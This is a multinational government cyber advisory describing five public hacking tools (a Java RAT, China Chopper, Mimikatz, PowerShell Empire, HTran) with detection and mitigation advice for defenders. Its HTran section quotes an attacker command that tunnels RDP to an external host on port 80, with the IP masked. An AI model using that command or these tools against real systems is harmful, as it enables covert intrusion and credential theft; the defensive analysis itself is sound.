Australian Government
Australian Signals Directorate

ACSC Australian Cyber Security Centre

Joint report on publicly available hacking tools

Limiting the effectiveness of tools commonly used by malicious actors

cyber.gov.au

Table of Contents

Introduction

This report is a collaborative research effort by the cyber security authorities of five nations: Australia, Canada, New Zealand, the UK and USA [1].

This document aims to highlight the use of five publicly available tools, observed in recent cyber incidents around the world. In doing so we hope to provide network defenders and systems administrators with advice on limiting the effectiveness of these tools and detecting their use on a network.

Nature of the tools

The individual tools covered in this report serve as examples of the types of tools used by malicious actors, this document should not be considered as an exhaustive list when planning a network defence strategy.

Tools and techniques for exploiting networks and the data they hold are by no means the preserve of nation states or criminals on the dark web. Hacking tools that provide a variety of functions are widely and freely available for use by everyone from skilled penetration testers, state actors and organised criminals, through to amateur hackers.

These tools continue to be used to compromise information across a wide range of critical sectors, including health, finance, government and defence. The widespread availability of these tools presents a challenge for network defence and actor attribution.

Experience from the authors shows that, while cyber actors continue to develop their capabilities, they are not abandoning common or established Tools, Techniques and Procedures (TTPs). Even more sophisticated groups will use publicly available tools and take advantage of basic security flaws to achieve their objectives.

Whatever the objectives of an actor, initial compromises of victim systems are often established through exploitation of common security weaknesses. Abuse of unpatched software vulnerabilities or poorly configured systems are popular ways for an actor to gain access. The tools detailed in this report are utilised after a system has been compromised to enable an actor to further their objectives within a network.

Report Structure

The tools detailed fall into five categories: Remote Access Tools, Web Shells, Credential Stealers, Lateral Movement Frameworks, and Command and Control Obfuscators.

The report provides an overview of the threat posed by each tool, along with insight into where and when it has been deployed by hostile actors. Measures to aid detection and limit the effectiveness of each tool are also described.

The report concludes with general advice for improving network defence practices.

[1] The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC).

Remote Access Tool – Adwind and JBiFrost

A Remote Access Tool (RAT) is a program, which, once installed on a victim's machine, allows remote administrative control. In a malicious context, they can provide the ability for an actor to upload and download files, execute commands, log keystrokes, and/or record a user's screen.

An example of a malicious RAT is JBiFrost, which was has undergone several name changes:[2]

- 2012 – Frutas RAT released
- 2013 – Rebranded to Adwind RAT
- 2013 – Rebranded to Unreconn
- 2014 – Rebranded to AlienSpy
- 2015 – Rebranded to JSocket RAT
- 2016 – Rebranded to JBiFrost RAT

In Use

JBiFrost is primarily delivered through emails as an attachment, usually an invoice notice, request for quotation, remittance notice, shipment notification, payment notice or with a link to a file hosting service.

Past infections have exfiltrated intellectual property, banking credentials and Personally Identifiable Information (PII). Machines infected with JBiFrost can also be used to take part in botnets to carry out Distributed Denial of Service (DDoS) attacks. JBiFrost can also allow an actor to pivot and move laterally across a network or install additional malicious software

Capabilities

The JBiFrost RAT is Java-based, cross-platform and poses a threat to several different operating systems, including Windows, Linux, Mac OS X and Android.

With each rebranding of the RAT, extra functionality is added. KasperskyLabs have detailed the evolution in their Adwind report[3]. The latest iteration, JBiFrost, has minimal changes from previous versions[4].

Since the 2015 rebranding to JSocket, this family has been offered in a software-as-a-service model. This has lowered the barrier to entry and allowed a wider range of cyber criminals and low-skilled actors to utilise the tool, however its capabilities could easily be adapted for use by state actors

Examples

Since early 2018, the authors of this report have observed an increase in JBiFrost being used in targeted attacks against critical national infrastructure owners and their supply chain operators. There has also been an increase in hosting of the RAT on infrastructure spread across multiple countries.

In early 2017, Adwind RAT was deployed via spoofed emails designed to look as if they originated from SWIFT network services. Adwind has also been observed being used against the aerospace & defence sector.

Malicious actors have repeatedly compromised servers with the purpose of delivering various malicious RATs to victims, either to gain remote access for further exploitation, or to steal valuable information such as banking credentials, IP or PII.

---

[2] https://www.kaspersky.com/about/press-releases/2016_adwind-malware-as-a-service-platform-that-hit-more-than-400000-users-and-organizations-globally

[3] https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf

[4] https://www.fortinet.com/blog/threat-research/jbifrost-yet-another-incarnation-of-the-adwind-rat.html

A significant volume of other publicly available RATs, including variations of Gh0st RAT, have also been observed in use against a range of victims worldwide. An example of this is APT10's use of Quasar RAT against a broad range of sectors.

Detection and Protection

Malicious RATS often mimic the behaviour of legitimate applications, disable security measures and prevent security/forensic software from executing to avoid detection on a network. Installation of network and host-based tools can help defenders establish a baseline of normal behaviour on a network. A baseline will enable continuous incident response and allow network defenders to hunt for suspicious behaviour on hosts on a network. Once a behaviour has been identified, low-level analysis can occur to determine if a RAT is installed.

This family of RAT has been rebranded as tools are discovered and reported by antivirus vendors. Application whitelisting[5] can be highly effective in assisting with the identification and prevention of RATs being installed onto systems. Up-to-date antivirus can provide an additional layer to help identify common or commercial RATs such as Adwind or JBiFrost.

[5] https://www.acsc.gov.au/publications/protect/application_whitelisting.htm

Web Shells – China Chopper

Web shells are malicious scripts which are uploaded to a target host after an initial compromise and grant an actor remote access into a network. Once this access is established, web shells can facilitate lateral movement within a network.

An example of a commonly used web shell is China Chopper, a well-documented and publicly available web shell that has seen widespread use since 2012.

In Use

The China Chopper web shell is well-known for its extensive use by actors to remotely access compromised web-servers, where it provides file and directory management, and access to a virtual terminal on the compromised device.

China Chopper's small size (approximately 4KB) and easily modifiable payload makes detection and mitigation difficult for network defenders.

Capabilities

The China Chopper web shell has two main components: the client-side, which is adversary-owned and controlled, and the server–side, the victim web server. The web shell client can issue terminal commands and manage files on the victim server. The server-side web shell is uploaded in plain text and can easily be changed by the threat actor. This makes it is hard to define a specific hash that can identify adversary activity.

The MD5 hash of a China Chopper web client is shown below[6]:

Client Web Shell	MD5 Hash
`caidao.exe`	`5001ef50c7e869253a7c152a638eab8a`

After successful exploitation of a vulnerability on the victim machine, the text-based China Chopper is placed on the victim web server. Once uploaded, the web shell server can be accessed at any time by a client. Once successfully connected, the actor proceeds to manipulate files and data on the web server.

Capabilities include uploading and downloading files to and from the victim, execution of arbitrary commands, using operating system file-retrieval tools to download files to the target, and filesystem modification including timestomping.

Examples

In mid-2018, actors were observed targeting public-facing web servers vulnerable to `CVE-2017-3066`. The activity is related to Adobe Cold Fusion (CFM) Deserialization Remote Code Execution (RCE). In this case, China Chopper was intended as the second-stage payload, delivered to the already compromised server, allowing an actor remote access to the victim host.

Detection and Protection

As web shells are a post-exploitation tool, network defenders should work to ensure external servers are well-positioned to prevent initial compromise. All software running on public facing web servers needs to be kept up to date with latest security patches and secure configuration applied. Custom applications should be regularly audited for common web vulnerabilities[7].

By default China Chopper generates an HTTP POST for every interaction that an actor performs, additionally the commands issued by the client are Base64 encoded. Network defenders can use these attributes to identify China Chopper shells and decode the commands to understand what actions have been performed. The adoption of

[6] Originally posted on http://www.maicaidao.com
[7] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Transport Layer Security (TLS) by web servers has resulted in web server traffic becoming encrypted, making detection of China Chopper activity using network-based tools more challenging.

The most effective way to detect and mitigate China Chopper is on the host itself (specifically on public-facing web servers) is to use signature-based scans (anti-virus scan, YARA rules, and known bad MD5 hashes)[8].

Detecting web shells more broadly should focus on spotting either suspicious process execution on web servers (for example PHP binaries spawning processes) or out of pattern outbound network connections from web servers. Typically, web servers make predictable connections to an internal network and so changes in those patterns may indicate a web shell.

[8] A range of useful commands and signatures for tracking China Chopper can be found at https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html

Credential Stealer – Mimikatz

Mimikatz is a tool used for obtaining credentials from memory. It was developed in 2007 for use against Windows systems. Mimikatz's main purpose is to allow an actor to collect credentials of other users who are logged in to a targeted machine by accessing them in memory within the Local Security Authority Subsystem Service (LSASS) system processs. These credentials can be reused to give access to other machines on a network.

Though it was not originally intended as a hacking tool, in recent years Mimikatz has emerged as a common tool used by multiple actors to obtain credentials from networks. Its use in many compromises around the world has prompted organisations across multiple sectors to re-evaluate their network defences.

Mimikatz is typically used by actors once access has been gained to a host and the actor wishes to move throughout the internal network. Its use can significantly undermine poorly configured network security.

In Use

Mimikatz source code and release binaries are publicly available, enabling cyber actors to compile their own versions. With this set up, new Mimikatz plug-ins and additional tools can also be acquired and developed.

The authors of this report have observed widespread use of Mimikatz among actors, including organised crime and state-sponsored groups.

Once an actor has gained Local Administrator or an account with equivalent privileges on a host, Mimikatz provides the ability to obtain hashes and clear-text credentials for other users. These credentials may enable an actor to escalate privileges within a domain to perform other post-exploitation and lateral movement tasks. For this reason, Mimikatz has been bundled into other penetration testing and exploitation suites such as PowerShell Empire and Metasploit.

Capabilities

Mimikatz is best known for its ability to retrieve clear text credentials and hashes from memory, but its full suite of capabilities is extensive.

The tool can obtain LAN Manager and NTLM hashes, certificates, and long-term keys on Windows XP (2003) through to Windows 8.1 (2012r2). In addition, the tool can perform pass-the-hash or pass-the-ticket tasks and build Kerberos Golden tickets.

Many of Mimikatz's features can be automated with scripts, such as PowerShell, allowing an actor to rapidly exploit and traverse a compromised network. Furthermore, when operating in memory through the freely available, yet powerful, 'Invoke-Mimikatz' PowerShell script, Mimikatz activity is very difficult to isolate and identify.

Examples

Mimikatz has been used across multiple incidents by a broad range of actors for several years. In 2011 it was used by unknown hackers to obtain administrator credentials from the Dutch certificate authority, DigiNotar. The rapid loss of trust in DigiNotar led to the company filing for bankruptcy within a month of this compromise.

More recently, Mimikatz was used in conjunction with other hacking tools in the 2017 NotPetya and BadRabbit ransomware attacks to extract administrator credentials held on thousands of computers. These credentials were used to facilitate lateral movement and enabled the ransomware to propagate throughout networks, encrypting the hard drives of numerous systems where these credentials were valid.

In addition, a Microsoft research team identified use of the tool during a sophisticated cyber-attack targeting several high-profile technology and financial organisations. In combination with several other tools and exploited vulnerabilities, Mimikatz was used to dump and likely reuse system hashes.

Detection and Protection

Updating Windows will help reduce the information available to an actor from the Mimikatz tool, as Microsoft seeks to improve the protection offered in each new Windows version.

To prevent Mimikatz credential retrieval, defenders should disable the storage of clear text passwords in LSASS memory. This is default behaviour for Windows 8.1/Server 2012R2 and later but can be enabled on older systems which have the relevant security patches installed[9]. Windows 10 and Windows Server 2016 systems can be protected by using newer security features such as Credential Guard.

Password reuse across accounts, particularly administrator accounts, makes pass-the-hash attacks far simpler. Organisations should set user policies that discourage password reuse, even across common level accounts on a network. The freely available Local Admin Password Solution (LAPS) from Microsoft can allow easy management of local admin passwords, preventing the need to set and store passwords manually.

Network administrators should monitor and respond to unusual or unauthorised account creation or authentication to prevent Golden Ticket exploitation[10] or network persistence/lateral movement. Consider network and log monitoring solutions that can help detect this type of attacks.

Network administrators should ensure that systems are patched and up to date as numerous Mimikatz features are mitigated, or significantly restricted, by the latest system versions and updates. Network defenders should be aware that Mimikatz is continually evolving and third party modules being developed. Antivirus tools can assist in the detection and isolation of Mimikatz, however an actor can circumvent antivirus systems by running the tool in memory, or by slightly modifying the original code of the tool.

When Mimikatz is detected, organisations are recommended to perform a rigorous investigation as it almost certainly indicates an actor actively present in their network, rather than an automated process.

Several of Mimikatz's features rely on exploitation of administrator accounts. Therefore, network defenders should ensure that administrator accounts are issued on an as-required basis only. Where administrative access is required, agencies should develop Privilege Access Management principles. Since Mimikatz can only capture the accounts of those logged into to a compromised machine, privileged users (such as domain admins) should avoid logging into machines with their privileged credentials. Detailed information on securing active directory is available from Microsoft[11].

Network defenders should audit the use of scripts, particularly PowerShell, and inspect logs to identify anomalies. This will aid identification of Mimikatz or pass-the-hash abuse, as well as providing some mitigation against attempts to bypass detection software.

[9] https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a

[10] https://blog.stealthbits.com/complete-domain-compromise-with-golden-ticket

[11] https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory

Lateral Movement Frameworks – PowerShell Empire

PowerShell Empire is an example of a post exploitation or lateral movement tool designed to allow an actor (or penetration tester) to move around a network after gaining initial access. Another well-known and open-source framework is the Metasploit Project.

The PowerShell Empire framework (Empire) was designed as a legitimate penetration testing tool in 2015. Empire acts as a framework for continued exploitation once an actor has gained access to a system. Empire can also be used to generate malicious documents (with macros) and executables for use in social engineering campaigns.

The tool provides the actor with the ability to escalate privileges, harvest credentials, exfiltrate information and move laterally across a network. These capabilities make it a powerful exploitation tool. As Empire is built on a common legitimate application (PowerShell) and can operate almost entirely in memory, it can be difficult to detect on a network using traditional anti-virus tools.

In Use

Empire has become increasingly popular among state actors and organised crime. In recent months its use has been observed in incidents globally and across a wide range of sectors.

Initial exploitation methods vary between compromises, and actors can configure the Empire Framework uniquely for each scenario and target.

This, in combination with the wide range of skill and intent within the Empire user community, means that ease of detection will vary. Nonetheless, having a greater understanding and awareness of this tool is a step forward in defending against its use by malicious actors.

Capabilities

Empire enables an actor to carry out a range of actions on a victim's machine and allows PowerShell scripts to run without the need for 'powershell.exe'. Its communications are encrypted and its architecture flexible.

Empire uses 'modules' to perform more specific, malicious actions. These provide the actor with a customisable range of options to pursue their goals on the victim's systems. These include escalation of privileges, credential harvesting, host enumeration, key-logging and the ability to move laterally across a network.

Empire's ease of use, flexible configuration and ability to evade detection make it a popular choice for actors of varying abilities.

Examples

During an incident in February 2018, a UK energy sector company was compromised by an unknown actor. This compromise was detected through Empire beaconing activity using Empire's default profile settings. Weak credentials on one of the victim's administrator accounts are believed to have provided the actor with initial access to the network.

In early 2018, an unknown actor used Winter Olympics themed socially engineered emails and malicious attachments in a spear phishing campaign targeting several South Korean organisations. This attack had an additional layer of sophistication, making use of Invoke-PSImage, a steganographic plugin for Empire.

In December 2017, the Advanced Persistent Threat (APT) 19 group targeted a multinational law firm with a targeted phishing campaign. APT19 used obfuscated PowerShell macros embedded within Word documents generated by Empire.

The authors of this report are also aware of Empire being used to target academia. In one reported instance, an actor attempted to use Empire to gain persistence using a Windows Management Instrumentation (WMI) event consumer. However, in this instance the Empire agent was unsuccessful in establishing network connections due to the HTTP connections being blocked by a local security appliance.

Detection and Protection

Identifying malicious PowerShell, including that used by Empire in a corporate environment, can be difficult due to the prevalence of legitimate PowerShell on hosts and its increased use in maintaining a corporate environment. Organisations are strongly recommended to log PowerShell including script block logging and PowerShell transcripts to identify potentially malicious scripts[12].

Older versions of PowerShell should be removed from environments to ensure that they cannot be used to circumvent additional logging and controls added in more recent versions of PowerShell. This page offers a good summary of PowerShell security practices[13].

The code integrity features of recent versions of Windows can be used to limit the functionality of PowerShell, preventing or hampering malicious PowerShell in the event of a successful intrusion. A combination of script code signing, application whitelisting and constrained language mode will prevent or limit the effect of malicious PowerShell in the event of a successful intrusion. These controls will also impact legitimate scripts and it is strongly advised that they be thoroughly tested before deployment.

.

[12] https://acsc.gov.au/publications/protect/securing-powershell.htm
[13] https://www.digitalshadows.com/blog-and-research/powershell-security-best-practices/

Command and Control Obfuscators - HTran

Actors will often want to disguise their location when compromising a target. They may use generic privacy tools such as TOR, or more specific tools to obfuscate their location.

HUC Packet Transmitter (HTran) is a tool used to proxy connections. It has been freely available on the internet since at least 2009[14]. This connection proxy tool is designed to obfuscate an adversary's communications with victim networks.

HTran facilitates Transmission Control Protocol (TCP) connections between the victim and a hop point controlled by an actor. Cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran to gain greater access to hosts in a network. The use of HTran has been regularly observed in compromises of both government and industry targets.

In Use

Connection proxies like HTran implement traffic redirection techniques. These techniques work by retransmitting network traffic to different hosts and/or ports.

A broad range of cyber actors have been observed using connection proxy tools to:

- Evade intrusion and detection systems on a network
- Blend in with common traffic or leverage domain trust relationships to bypass security controls
- Obfuscate or hide Command and Control (C2) infrastructure or communications
- Create peer-to-peer or meshed C2 infrastructure to evade detection and provide resilient connections to infrastructure

Capabilities

HTran can run in several modes[15] including:

- Server (listen) – Used to listen on a local port and retransmit traffic to another local port
- Proxy (tran) – Used to listen on a port and retransmit data to another IP address and/or port
- Client (slave) – Used to connect to an IP address and port and retransmit data to another IP address and/or port

HTran can inject itself into running processes and install a rootkit to hide network connections from the host operating system. Using these features also creates Windows registry entries to ensure that HTran maintains persistent access to the victim network.

Examples

Recent investigations have identified the use of HTran to maintain and obfuscate remote access to targeted environments.

In one incident, the actor compromised externally facing web servers running outdated and vulnerable web applications. The actor used this access to upload webshells, and then used the webshell to deploy other tools including HTran.

HTran was installed into the ProgramData directory (`c:\Documents and Settings\All Users` which also points to `c:\ProgramData` due to application compatability junction points[16]) as `20k.txt`. The actor then used other deployed tools to reconfigure the server to accept Remote Desktop Protocol (RDP) communications. To establish the RDP connection to the actor's server, commands similar to the following were used:

[14] http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm
[15] https://www.lexsi.com/securityhub/the-htran-tool-used-to-hack-into-french-companies
[16] https://msdn.microsoft.com/en-us/library/bb756982.aspx

```
cmd /c cd /d "C:\Windows\SysWOW64\inetsrv\" & "c:\Documents and Settings\All Users\20k.txt" -slave XXX.XXX.XXX.XXX 80 127.0.0.1 3389 & echo [S] & cd & echo [E]
```

This command starts HTran as a client, initiating a connection to a server located on the internet over port 80, which forwards RDP traffic from the local interface. The outline below breaks down each component of the command and its role:

- `-slave`: this starts HTran in the client mode
- `XXX.XXX.XXX.XXX 80` – Establish a connection to a defined IP over port 80.
- `127.0.0.1 3389` – Tunnel the traffic to the localhost (Server) on port 3389 (Remote Desktop)

In this case, HTTP was chosen to blend in with other traffic that was expected to be seen originating from a webserver to the internet. Other well-known ports used included:

- 53 - DNS
- 443 - HTTP over TLS/SSL
- 3306 - MySQL

By using HTran in this way, the actor was able to use RDP for several months without being detected by network security devices.

Detection and Protection

Establishing a base or normalised network profile, combined with ongoing capture and analysis of network traffic can assist network defenders detect unauthorised connections from tools such as HTran. A combination of network segmentation, denying corporate computers direct Internet connectivity and network/host firewalls will help the prevention or limit the effectiveness of HTran.

In some of the samples analysed[17], the rootkit component of HTran only hides connection details when the proxy mode is used. When client mode is used, defenders are able to view details about the TCP connections being made.

HTran also includes a debugging condition that is useful for network defenders. In the event that a destination becomes unavailable, HTran generates an error message using the following format[18]:

```
sprintf(buffer, "[SERVER]connection to %s:%d error\r\n", host, port2);
```

This error message is relayed to the connecting client in the clear. Defenders can monitor for this error message to potentially detect HTran instances active in their environments.

[17] https://www.lexsi.com/securityhub/the-htran-tool-used-to-hack-into-french-companies
[18] https://secureworks.com/research/htran

General Detection and Prevention Measures

While each of the previous sections provided specific and tailored advice to detect and prevent a specific tool there are more general strategies that agencies should follow to improve their general security posture. Enhancing the security posture of a network will prevent or reduce the effectiveness of a wide range of cyber threats, including the tools listed in this document.

The authors of this document have come up with general cyber security recommendations and network defenders are advised to seek further information using the URLs below:

Country	Publisher/Product Name	Link
AU	ACSC Strategies	https://acsc.gov.au/infosec/mitigationstrategies.htm
AU	ACSC Essential Eight	https://acsc.gov.au/publications/protect/essential-eight-explained.htm
CA	CCCS Top 10 Security Actions	https://www.cse-cst.gc.ca/en/top10
CA	CCCS Cyber Hygiene	https://www.cse-cst.gc.ca/en/cyberhygiene-pratiques-cybersecurite
NZ	CERT NZ Top 11 cyber security tips for your business	https://www.cert.govt.nz/businesses-and-individuals/guides/cyber-security-your-business/top-11-cyber-security-tips-for-your-business/
NZ	CERT NZ critical controls 2018	https://www.cert.govt.nz/it-specialists/critical-controls/
UK	NCSC Protect your organisation from malware	https://www.ncsc.gov.uk/guidance/protecting-your-organisation-malware
UK	NCSC 10 steps to cyber security	https://www.ncsc.gov.uk/guidance/10-steps-cyber-security